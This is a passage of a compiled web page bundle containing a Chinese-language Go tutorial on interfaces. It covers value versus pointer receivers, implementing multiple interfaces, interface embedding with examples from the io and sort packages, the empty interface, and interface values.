5982\u5728\u4e0a\u9762\u7684\u793a\u4f8b\u4e2d\uff0c",(0,l.jsx)(e.code,{children:"Dog"}),"\u548c",(0,l.jsx)(e.code,{children:"Cat"}),"\u7c7b\u578b\u5747\u5b9e\u73b0\u4e86",(0,l.jsx)(e.code,{children:"Sayer"}),"\u63a5\u53e3\uff0c\u6b64\u65f6\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Sayer"}),"\u7c7b\u578b\u7684\u53d8\u91cf\u5c31\u80fd\u591f\u63a5\u6536",(0,l.jsx)(e.code,{children:"Cat"}),"\u548c",(0,l.jsx)(e.code,{children:"Dog"}),"\u7c7b\u578b\u7684\u53d8\u91cf\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var x Sayer // \u58f0\u660e\u4e00\u4e2aSayer\u7c7b\u578b\u7684\u53d8\u91cfx\na := Cat{} // \u58f0\u660e\u4e00\u4e2aCat\u7c7b\u578b\u53d8\u91cfa\nb := Dog{} // \u58f0\u660e\u4e00\u4e2aDog\u7c7b\u578b\u53d8\u91cfb\nx = a // \u53ef\u4ee5\u628aCat\u7c7b\u578b\u53d8\u91cf\u76f4\u63a5\u8d4b\u503c\u7ed9x\nx.Say() // \u55b5\u55b5\u55b5\nx = b // \u53ef\u4ee5\u628aDog\u7c7b\u578b\u53d8\u91cf\u76f4\u63a5\u8d4b\u503c\u7ed9x\nx.Say() // \u6c6a\u6c6a\u6c6a\n"})}),"\n",(0,l.jsx)(e.h2,{id:"\u503c\u63a5\u6536\u8005\u548c\u6307\u9488\u63a5\u6536\u8005",children:"\u503c\u63a5\u6536\u8005\u548c\u6307\u9488\u63a5\u6536\u8005"}),"\n",(0,l.jsx)(e.p,{children:"\u5728\u7ed3\u6784\u4f53\u90a3\u4e00\u7ae0\u8282\u4e2d\uff0c\u6211\u4eec\u4ecb\u7ecd\u4e86\u5728\u5b9a\u4e49\u7ed3\u6784\u4f53\u65b9\u6cd5\u65f6\u65e2\u53ef\u4ee5\u4f7f\u7528\u503c\u63a5\u6536\u8005\u4e5f\u53ef\u4ee5\u4f7f\u7528\u6307\u9488\u63a5\u6536\u8005\u3002\u90a3\u4e48\u5bf9\u4e8e\u5b9e\u73b0\u63a5\u53e3\u6765\u8bf4\u4f7f\u7528\u503c\u63a5\u6536\u8005\u548c\u4f7f\u7528\u6307\u9488\u63a5\u6536\u8005\u6709\u4ec0\u4e48\u533a\u522b\u5462\uff1f\u63a5\u4e0b\u6765\u6211\u4eec\u901a\u8fc7\u4e00\u4e2a\u4f8b\u5b50\u770b\u4e00\u4e0b\u5176\u4e2d\u7684\u533a\u522b\u3002"}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\uff0c\u5b83\u5305\u542b\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Move"}),"\u65b9\u6cd5\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Mover \u5b9a\u4e49\u4e00\u4e2a\u63a5\u53e3\u7c7b\u578b\ntype Mover interface {\n\tMove()\n}\n"})}),"\n",(0,l.jsx)(e.h3,{id:"\u503c\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3",children:"\u503c\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3"}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Dog"}),"\u7ed3\u6784\u4f53\u7c7b\u578b\uff0c\u5e76\u4f7f\u7528\u503c\u63a5\u6536\u8005\u4e3a\u5176\u5b9a\u4e49\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Move"}),"\u65b9\u6cd5\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// Dog \u72d7\u7ed3\u6784\u4f53\u7c7b\u578b\ntype Dog struct{}\n\n// Move \u4f7f\u7528\u503c\u63a5\u6536\u8005\u5b9a\u4e49Move\u65b9\u6cd5\u5b9e\u73b0Mover\u63a5\u53e3\nfunc (d Dog) Move() {\n\tfmt.Println("\u72d7\u4f1a\u52a8")\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u6b64\u65f6\u5b9e\u73b0",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u7684\u662f",(0,l.jsx)(e.code,{children:"Dog"}),"\u7c7b\u578b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var x Mover // \u58f0\u660e\u4e00\u4e2aMover\u7c7b\u578b\u7684\u53d8\u91cfx\n\nvar d1 = Dog{} // d1\u662fDog\u7c7b\u578b\nx = d1 // \u53ef\u4ee5\u5c06d1\u8d4b\u503c\u7ed9\u53d8\u91cfx\nx.Move()\n\nvar d2 = &Dog{} // d2\u662fDog\u6307\u9488\u7c7b\u578b\nx = d2 // \u4e5f\u53ef\u4ee5\u5c06d2\u8d4b\u503c\u7ed9\u53d8\u91cfx\nx.Move()\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u4ece\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u4f7f\u7528\u503c\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3\u4e4b\u540e\uff0c\u4e0d\u7ba1\u662f\u7ed3\u6784\u4f53\u7c7b\u578b\u8fd8\u662f\u5bf9\u5e94\u7684\u7ed3\u6784\u4f53\u6307\u9488\u7c7b\u578b\u7684\u53d8\u91cf\u90fd\u53ef\u4ee5\u8d4b\u503c\u7ed9\u8be5\u63a5\u53e3\u53d8\u91cf\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u6307\u9488\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3",children:"\u6307\u9488\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u518d\u6765\u6d4b\u8bd5\u4e00\u4e0b\u4f7f\u7528\u6307\u9488\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3\u6709\u4ec0\u4e48\u533a\u522b\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// Cat \u732b\u7ed3\u6784\u4f53\u7c7b\u578b\ntype Cat struct{}\n\n// Move \u4f7f\u7528\u6307\u9488\u63a5\u6536\u8005\u5b9a\u4e49Move\u65b9\u6cd5\u5b9e\u73b0Mover\u63a5\u53e3\nfunc (c *Cat) Move() {\n\tfmt.Println("\u732b\u4f1a\u52a8")\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u6b64\u65f6\u5b9e\u73b0",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u7684\u662f",(0,l.jsx)(e.code,{children:"*Cat"}),"\u7c7b\u578b\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06",(0,l.jsx)(e.code,{children:"*Cat"}),"\u7c7b\u578b\u7684\u53d8\u91cf\u76f4\u63a5\u8d4b\u503c\u7ed9",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf",(0,l.jsx)(e.code,{children:"x"}),"\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var c1 = &Cat{} // c1\u662f*Cat\u7c7b\u578b\nx = c1 // \u53ef\u4ee5\u5c06c1\u5f53\u6210Mover\u7c7b\u578b\nx.Move()\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u4f46\u662f\u4e0d\u80fd\u7ed9\u5c06",(0,l.jsx)(e.code,{children:"Cat"}),"\u7c7b\u578b\u7684\u53d8\u91cf\u8d4b\u503c\u7ed9",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf",(0,l.jsx)(e.code,{children:"x"}),"\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// \u4e0b\u9762\u7684\u4ee3\u7801\u65e0\u6cd5\u901a\u8fc7\u7f16\u8bd1\nvar c2 = Cat{} // c2\u662fCat\u7c7b\u578b\nx = c2 // \u4e0d\u80fd\u5c06c2\u5f53\u6210Mover\u7c7b\u578b\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u7531\u4e8eGo\u8bed\u8a00\u4e2d\u6709\u5bf9\u6307\u9488\u6c42\u503c\u7684\u8bed\u6cd5\u7cd6\uff0c\u5bf9\u4e8e\u503c\u63a5\u6536\u8005\u5b9e\u73b0\u7684\u63a5\u53e3\uff0c\u65e0\u8bba\u4f7f\u7528\u503c\u7c7b\u578b\u8fd8\u662f\u6307\u9488\u7c7b\u578b\u90fd\u6ca1\u6709\u95ee\u9898\u3002\u4f46\u662f\u6211\u4eec\u5e76\u4e0d\u603b\u662f\u80fd\u5bf9\u4e00\u4e2a\u503c\u6c42\u5740\uff0c\u6240\u4ee5\u5bf9\u4e8e\u6307\u9488\u63a5\u6536\u8005\u5b9e\u73b0\u7684\u63a5\u53e3\u8981\u989d\u5916\u6ce8\u610f\u3002"}),"\n",(0,l.jsx)(e.h2,{id:"\u7c7b\u578b\u4e0e\u63a5\u53e3\u7684\u5173\u7cfb",children:"\u7c7b\u578b\u4e0e\u63a5\u53e3\u7684\u5173\u7cfb"}),"\n",(0,l.jsx)(e.h3,{id:"\u4e00\u4e2a\u7c7b\u578b\u5b9e\u73b0\u591a\u4e2a\u63a5\u53e3",children:"\u4e00\u4e2a\u7c7b\u578b\u5b9e\u73b0\u591a\u4e2a\u63a5\u53e3"}),"\n",(0,l.jsxs)(e.p,{children:["\u4e00\u4e2a\u7c7b\u578b\u53ef\u4ee5\u540c\u65f6\u5b9e\u73b0\u591a\u4e2a\u63a5\u53e3\uff0c\u800c\u63a5\u53e3\u95f4\u5f7c\u6b64\u72ec\u7acb\uff0c\u4e0d\u77e5\u9053\u5bf9\u65b9\u7684\u5b9e\u73b0\u3002\u4f8b\u5982\u72d7\u4e0d\u4ec5\u53ef\u4ee5\u53eb\uff0c\u8fd8\u53ef\u4ee5\u52a8\u3002\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u5206\u522b\u5b9a\u4e49",(0,l.jsx)(e.code,{children:"Sayer"}),"\u63a5\u53e3\u548c",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\uff0c\u5177\u4f53\u4ee3\u7801\u793a\u4f8b\u5982\u4e0b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Sayer \u63a5\u53e3\ntype Sayer interface {\n\tSay()\n}\n\n// Mover \u63a5\u53e3\ntype Mover interface {\n\tMove()\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"Dog"}),"\u65e2\u53ef\u4ee5\u5b9e\u73b0",(0,l.jsx)(e.code,{children:"Sayer"}),"\u63a5\u53e3\uff0c\u4e5f\u53ef\u4ee5\u5b9e\u73b0",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'type Dog struct {\n\tName string\n}\n\n// \u5b9e\u73b0Sayer\u63a5\u53e3\nfunc (d Dog) Say() {\n\tfmt.Printf("%s\u4f1a\u53eb\u6c6a\u6c6a\u6c6a\\n", d.Name)\n}\n\n// \u5b9e\u73b0Mover\u63a5\u53e3\nfunc (d Dog) Move() {\n\tfmt.Printf("%s\u4f1a\u52a8\\n", d.Name)\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u540c\u4e00\u4e2a\u7c7b\u578b\u5b9e\u73b0\u4e0d\u540c\u7684\u63a5\u53e3\u4e92\u76f8\u4e0d\u5f71\u54cd\u4f7f\u7528\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var d = Dog{Name: "\u65fa\u8d22"}\n\nvar s Sayer = d\nvar m Mover = d\n\ns.Say() // \u5bf9Sayer\u7c7b\u578b\u8c03\u7528Say\u65b9\u6cd5\nm.Move() // \u5bf9Mover\u7c7b\u578b\u8c03\u7528Move\u65b9\u6cd5\n'})}),"\n",(0,l.jsx)(e.h3,{id:"\u591a\u79cd\u7c7b\u578b\u5b9e\u73b0\u540c\u4e00\u63a5\u53e3",children:"\u591a\u79cd\u7c7b\u578b\u5b9e\u73b0\u540c\u4e00\u63a5\u53e3"}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u4e0d\u540c\u7684\u7c7b\u578b\u8fd8\u53ef\u4ee5\u5b9e\u73b0\u540c\u4e00\u63a5\u53e3\u3002\u4f8b\u5982\u5728\u6211\u4eec\u7684\u4ee3\u7801\u4e16\u754c\u4e2d\u4e0d\u4ec5\u72d7\u53ef\u4ee5\u52a8\uff0c\u6c7d\u8f66\u4e5f\u53ef\u4ee5\u52a8\u3002\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u4ee3\u7801\u4f53\u73b0\u8fd9\u4e2a\u5173\u7cfb\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// \u5b9e\u73b0Mover\u63a5\u53e3\nfunc (d Dog) Move() {\n\tfmt.Printf("%s\u4f1a\u52a8\\n", d.Name)\n}\n\n// Car \u6c7d\u8f66\u7ed3\u6784\u4f53\u7c7b\u578b\ntype Car struct {\n\tBrand string\n}\n\n// Move Car\u7c7b\u578b\u5b9e\u73b0Mover\u63a5\u53e3\nfunc (c Car) Move() {\n\tfmt.Printf("%s\u901f\u5ea670\u8fc8\\n", c.Brand)\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u8fd9\u6837\u6211\u4eec\u5728\u4ee3\u7801\u4e2d\u5c31\u53ef\u4ee5\u628a\u72d7\u548c\u6c7d\u8f66\u5f53\u6210\u4e00\u4e2a\u4f1a\u52a8\u7684\u7c7b\u578b\u6765\u5904\u7406\uff0c\u4e0d\u5fc5\u5173\u6ce8\u5b83\u4eec\u5177\u4f53\u662f\u4ec0\u4e48\uff0c\u53ea\u9700\u8981\u8c03\u7528\u5b83\u4eec\u7684",(0,l.jsx)(e.code,{children:"Move"}),"\u65b9\u6cd5\u5c31\u53ef\u4ee5\u4e86\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var obj Mover\n\nobj = Dog{Name: "\u65fa\u8d22"}\nobj.Move()\n\nobj = Car{Brand: "\u5b9d\u9a6c"}\nobj.Move()\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u4e0a\u9762\u7684\u4ee3\u7801\u6267\u884c\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"\u65fa\u8d22\u4f1a\u8dd1\n\u5b9d\u9a6c\u901f\u5ea670\u8fc8\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u4e00\u4e2a\u63a5\u53e3\u7684\u6240\u6709\u65b9\u6cd5\uff0c\u4e0d\u4e00\u5b9a\u9700\u8981\u7531\u4e00\u4e2a\u7c7b\u578b\u5b8c\u5168\u5b9e\u73b0\uff0c\u63a5\u53e3\u7684\u65b9\u6cd5\u53ef\u4ee5\u901a\u8fc7\u5728\u7c7b\u578b\u4e2d\u5d4c\u5165\u5176\u4ed6\u7c7b\u578b\u6216\u8005\u7ed3\u6784\u4f53\u6765\u5b9e\u73b0\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// WashingMachine \u6d17\u8863\u673a\ntype WashingMachine interface {\n\twash()\n\tdry()\n}\n\n// \u7529\u5e72\u5668\ntype dryer struct{}\n\n// \u5b9e\u73b0WashingMachine\u63a5\u53e3\u7684dry()\u65b9\u6cd5\nfunc (d dryer) dry() {\n\tfmt.Println("\u7529\u4e00\u7529")\n}\n\n// \u6d77\u5c14\u6d17\u8863\u673a\ntype haier struct {\n\tdryer //\u5d4c\u5165\u7529\u5e72\u5668\n}\n\n// \u5b9e\u73b0WashingMachine\u63a5\u53e3\u7684wash()\u65b9\u6cd5\nfunc (h haier) wash() {\n\tfmt.Println("\u6d17\u5237\u5237")\n}\n'})}),"\n",(0,l.jsx)(e.h2,{id:"\u63a5\u53e3\u7ec4\u5408",children:"\u63a5\u53e3\u7ec4\u5408"}),"\n",(0,l.jsxs)(e.p,{children:["\u63a5\u53e3\u4e0e\u63a5\u53e3\u4e4b\u95f4\u53ef\u4ee5\u901a\u8fc7\u4e92\u76f8\u5d4c\u5957\u5f62\u6210\u65b0\u7684\u63a5\u53e3\u7c7b\u578b\uff0c\u4f8b\u5982Go\u6807\u51c6\u5e93",(0,l.jsx)(e.code,{children:"io"}),"\u6e90\u7801\u4e2d\u5c31\u6709\u5f88\u591a\u63a5\u53e3\u4e4b\u95f4\u4e92\u76f8\u7ec4\u5408\u7684\u793a\u4f8b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// src/io/io.go\n\ntype Reader interface {\n\tRead(p []byte) (n int, err error)\n}\n\ntype Writer interface {\n\tWrite(p []byte) (n int, err error)\n}\n\ntype Closer interface {\n\tClose() error\n}\n\n// ReadWriter \u662f\u7ec4\u5408Reader\u63a5\u53e3\u548cWriter\u63a5\u53e3\u5f62\u6210\u7684\u65b0\u63a5\u53e3\u7c7b\u578b\ntype ReadWriter interface {\n\tReader\n\tWriter\n}\n\n// ReadCloser \u662f\u7ec4\u5408Reader\u63a5\u53e3\u548cCloser\u63a5\u53e3\u5f62\u6210\u7684\u65b0\u63a5\u53e3\u7c7b\u578b\ntype ReadCloser interface {\n\tReader\n\tCloser\n}\n\n// WriteCloser \u662f\u7ec4\u5408Writer\u63a5\u53e3\u548cCloser\u63a5\u53e3\u5f62\u6210\u7684\u65b0\u63a5\u53e3\u7c7b\u578b\ntype WriteCloser interface {\n\tWriter\n\tCloser\n}\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u5bf9\u4e8e\u8fd9\u79cd\u7531\u591a\u4e2a\u63a5\u53e3\u7c7b\u578b\u7ec4\u5408\u5f62\u6210\u7684\u65b0\u63a5\u53e3\u7c7b\u578b\uff0c\u540c\u6837\u53ea\u9700\u8981\u5b9e\u73b0\u65b0\u63a5\u53e3\u7c7b\u578b\u4e2d\u89c4\u5b9a\u7684\u6240\u6709\u65b9\u6cd5\u5c31\u7b97\u5b9e\u73b0\u4e86\u8be5\u63a5\u53e3\u7c7b\u578b\u3002"}),"\n",(0,l.jsxs)(e.p,{children:["\u63a5\u53e3\u4e5f\u53ef\u4ee5\u4f5c\u4e3a\u7ed3\u6784\u4f53\u7684\u4e00\u4e2a\u5b57\u6bb5\uff0c\u6211\u4eec\u6765\u770b\u4e00\u6bb5Go\u6807\u51c6\u5e93",(0,l.jsx)(e.code,{children:"sort"}),"\u6e90\u7801\u4e2d\u7684\u793a\u4f8b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// src/sort/sort.go\n\n// Interface \u5b9a\u4e49\u901a\u8fc7\u7d22\u5f15\u5bf9\u5143\u7d20\u6392\u5e8f\u7684\u63a5\u53e3\u7c7b\u578b\ntype Interface interface {\n Len() int\n Less(i, j int) bool\n Swap(i, j int)\n}\n\n\n// reverse \u7ed3\u6784\u4f53\u4e2d\u5d4c\u5165\u4e86Interface\u63a5\u53e3\ntype reverse struct {\n Interface\n}\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u901a\u8fc7\u5728\u7ed3\u6784\u4f53\u4e2d\u5d4c\u5165\u4e00\u4e2a\u63a5\u53e3\u7c7b\u578b\uff0c\u4ece\u800c\u8ba9\u8be5\u7ed3\u6784\u4f53\u7c7b\u578b\u5b9e\u73b0\u4e86\u8be5\u63a5\u53e3\u7c7b\u578b\uff0c\u5e76\u4e14\u8fd8\u53ef\u4ee5\u6539\u5199\u8be5\u63a5\u53e3\u7684\u65b9\u6cd5\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Less \u4e3areverse\u7c7b\u578b\u6dfb\u52a0Less\u65b9\u6cd5\uff0c\u91cd\u5199\u539fInterface\u63a5\u53e3\u7c7b\u578b\u7684Less\u65b9\u6cd5\nfunc (r reverse) Less(i, j int) bool {\n\treturn r.Interface.Less(j, i)\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"Interface"}),"\u7c7b\u578b\u539f\u672c\u7684",(0,l.jsx)(e.code,{children:"Less"}),"\u65b9\u6cd5\u7b7e\u540d\u4e3a",(0,l.jsx)(e.code,{children:"Less(i, j int) bool"}),"\uff0c\u6b64\u5904\u91cd\u5199\u4e3a",(0,l.jsx)(e.code,{children:"r.Interface.Less(j, i)"}),"\uff0c\u5373\u901a\u8fc7\u5c06\u7d22\u5f15\u53c2\u6570\u4ea4\u6362\u4f4d\u7f6e\u5b9e\u73b0\u53cd\u8f6c\u3002"]}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u8fd9\u4e2a\u793a\u4f8b\u4e2d\u8fd8\u6709\u4e00\u4e2a\u9700\u8981\u6ce8\u610f\u7684\u5730\u65b9\u662f",(0,l.jsx)(e.code,{children:"reverse"}),"\u7ed3\u6784\u4f53\u672c\u8eab\u662f\u4e0d\u53ef\u5bfc\u51fa\u7684\uff08\u7ed3\u6784\u4f53\u7c7b\u578b\u540d\u79f0\u9996\u5b57\u6bcd\u5c0f\u5199\uff09\uff0c",(0,l.jsx)(e.code,{children:"sort.go"}),"\u4e2d\u901a\u8fc7\u5b9a\u4e49\u4e00\u4e2a\u53ef\u5bfc\u51fa\u7684",(0,l.jsx)(e.code,{children:"Reverse"}),"\u51fd\u6570\u6765\u8ba9\u4f7f\u7528\u8005\u521b\u5efa",(0,l.jsx)(e.code,{children:"reverse"}),"\u7ed3\u6784\u4f53\u5b9e\u4f8b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"func Reverse(data Interface) Interface {\n\treturn &reverse{data}\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u8fd9\u6837\u505a\u7684\u76ee\u7684\u662f\u4fdd\u8bc1\u5f97\u5230\u7684",(0,l.jsx)(e.code,{children:"reverse"}),"\u7ed3\u6784\u4f53\u4e2d\u7684",(0,l.jsx)(e.code,{children:"Interface"}),"\u5c5e\u6027\u4e00\u5b9a\u4e0d\u4e3a",(0,l.jsx)(e.code,{children:"nil"}),"\uff0c\u5426\u8005",(0,l.jsx)(e.code,{children:"r.Interface.Less(j, i)"}),"\u5c31\u4f1a\u51fa\u73b0\u7a7a\u6307\u9488panic\u3002"]}),"\n",(0,l.jsxs)(e.p,{children:["\u6b64\u5916\u5728Go\u5185\u7f6e\u6807\u51c6\u5e93",(0,l.jsx)(e.code,{children:"database/sql"}),"\u4e2d\u4e5f\u6709\u5f88\u591a\u7c7b\u4f3c\u7684\u7ed3\u6784\u4f53\u5185\u5d4c\u63a5\u53e3\u7c7b\u578b\u7684\u4f7f\u7528\u793a\u4f8b\uff0c\u5404\u4f4d\u8bfb\u8005\u53ef\u81ea\u884c\u67e5\u9605\u3002"]}),"\n",(0,l.jsx)(e.h2,{id:"\u7a7a\u63a5\u53e3",children:"\u7a7a\u63a5\u53e3"}),"\n",(0,l.jsx)(e.h3,{id:"\u7a7a\u63a5\u53e3\u7684\u5b9a\u4e49",children:"\u7a7a\u63a5\u53e3\u7684\u5b9a\u4e49"}),"\n",(0,l.jsx)(e.p,{children:"\u7a7a\u63a5\u53e3\u662f\u6307\u6ca1\u6709\u5b9a\u4e49\u4efb\u4f55\u65b9\u6cd5\u7684\u63a5\u53e3\u7c7b\u578b\u3002\u56e0\u6b64\u4efb\u4f55\u7c7b\u578b\u90fd\u53ef\u4ee5\u89c6\u4e3a\u5b9e\u73b0\u4e86\u7a7a\u63a5\u53e3\u3002\u4e5f\u6b63\u662f\u56e0\u4e3a\u7a7a\u63a5\u53e3\u7c7b\u578b\u7684\u8fd9\u4e2a\u7279\u6027\uff0c\u7a7a\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf\u53ef\u4ee5\u5b58\u50a8\u4efb\u610f\u7c7b\u578b\u7684\u503c\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\n// \u7a7a\u63a5\u53e3\n\n// Any \u4e0d\u5305\u542b\u4efb\u4f55\u65b9\u6cd5\u7684\u7a7a\u63a5\u53e3\u7c7b\u578b\ntype Any interface{}\n\n// Dog \u72d7\u7ed3\u6784\u4f53\ntype Dog struct{}\n\nfunc main() {\n\tvar x Any\n\n\tx = "\u4f60\u597d" // \u5b57\u7b26\u4e32\u578b\n\tfmt.Printf("type:%T value:%v\\n", x, x)\n\tx = 100 // int\u578b\n\tfmt.Printf("type:%T value:%v\\n", x, x)\n\tx = true // \u5e03\u5c14\u578b\n\tfmt.Printf("type:%T value:%v\\n", x, x)\n\tx = Dog{} // \u7ed3\u6784\u4f53\u7c7b\u578b\n\tfmt.Printf("type:%T value:%v\\n", x, x)\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u901a\u5e38\u6211\u4eec\u5728\u4f7f\u7528\u7a7a\u63a5\u53e3\u7c7b\u578b\u65f6\u4e0d\u5fc5\u4f7f\u7528",(0,l.jsx)(e.code,{children:"type"}),"\u5173\u952e\u5b57\u58f0\u660e\uff0c\u53ef\u4ee5\u50cf\u4e0b\u9762\u7684\u4ee3\u7801\u4e00\u6837\u76f4\u63a5\u4f7f\u7528",(0,l.jsx)(e.code,{children:"interface{}"}),"\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var x interface{} // \u58f0\u660e\u4e00\u4e2a\u7a7a\u63a5\u53e3\u7c7b\u578b\u53d8\u91cfx\n"})}),"\n",(0,l.jsx)(e.h3,{id:"\u7a7a\u63a5\u53e3\u7684\u5e94\u7528",children:"\u7a7a\u63a5\u53e3\u7684\u5e94\u7528"}),"\n",(0,l.jsx)(e.h4,{id:"\u7a7a\u63a5\u53e3\u4f5c\u4e3a\u51fd\u6570\u7684\u53c2\u6570",children:"\u7a7a\u63a5\u53e3\u4f5c\u4e3a\u51fd\u6570\u7684\u53c2\u6570"}),"\n",(0,l.jsx)(e.p,{children:"\u4f7f\u7528\u7a7a\u63a5\u53e3\u5b9e\u73b0\u53ef\u4ee5\u63a5\u6536\u4efb\u610f\u7c7b\u578b\u7684\u51fd\u6570\u53c2\u6570\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// \u7a7a\u63a5\u53e3\u4f5c\u4e3a\u51fd\u6570\u53c2\u6570\nfunc show(a interface{}) {\n\tfmt.Printf("type:%T value:%v\\n", a, a)\n}\n'})}),"\n",(0,l.jsx)(e.h4,{id:"\u7a7a\u63a5\u53e3\u4f5c\u4e3amap\u7684\u503c",children:"\u7a7a\u63a5\u53e3\u4f5c\u4e3amap\u7684\u503c"}),"\n",(0,l.jsx)(e.p,{children:"\u4f7f\u7528\u7a7a\u63a5\u53e3\u5b9e\u73b0\u53ef\u4ee5\u4fdd\u5b58\u4efb\u610f\u503c\u7684\u5b57\u5178\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// \u7a7a\u63a5\u53e3\u4f5c\u4e3amap\u503c\n\tvar studentInfo = make(map[string]interface{})\n\tstudentInfo["name"] = "\u6c99\u6cb3\u5a1c\u624e"\n\tstudentInfo["age"] = 18\n\tstudentInfo["married"] = false\n\tfmt.Println(studentInfo)\n'})}),"\n",(0,l.jsx)(e.h2,{id:"\u63a5\u53e3\u503c",children:"\u63a5\u53e3\u503c"}),"\n",(0,l.jsxs)(e.p,{children:["\u7531\u4e8e\u63a5\u53e3\u7c7b\u578b\u7684\u503c\u53ef\u4ee5\u662f\u4efb\u610f\u4e00\u4e2a\u5b9e\u73b0\u4e86\u8be5\u63a5\u53e3\u7684\u7c7b\u578b\u503c\uff0c\u6240\u4ee5\u63a5\u53e3\u503c\u9664\u4e86\u9700\u8981\u8bb0\u5f55\u5177\u4f53",(0,l.jsx)(e.strong,{children:"\u503c"}),"\u4e4b\u5916\uff0c\u8fd8\u9700\u8981\u8bb0\u5f55\u8fd9\u4e2a\u503c\u5c5e\u4e8e\u7684",(0,l.jsx)(e.strong,{children:"\u7c7b\u578b"}),"\u3002\u4e5f\u5c31\u662f\u8bf4\u63a5\u53e3\u503c\u7531\u201c\u7c7b\u578b\u201d\u548c\u201c\u503c\u201d\u7ec4\u6210\uff0c\u9274\u4e8e\u8fd9\u4e24\u90e8\u5206\u4f1a\u6839\u636e\u5b58\u5165\u503c\u7684\u4e0d\u540c\u800c\u53d1\u751f\u53d8\u5316\uff0c\u6211\u4eec\u79f0\u4e4b\u4e3a\u63a5\u53e3\u7684",(0,l.jsx)(e.code,{children:"\u52a8\u6001\u7c7b\u578b"}),"\u548c",(0,l.jsx)(e.code,{children:"\u52a8\u6001\u503c"}),"\u3002"]}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{alt:"\u63a5\u53e3\u503c\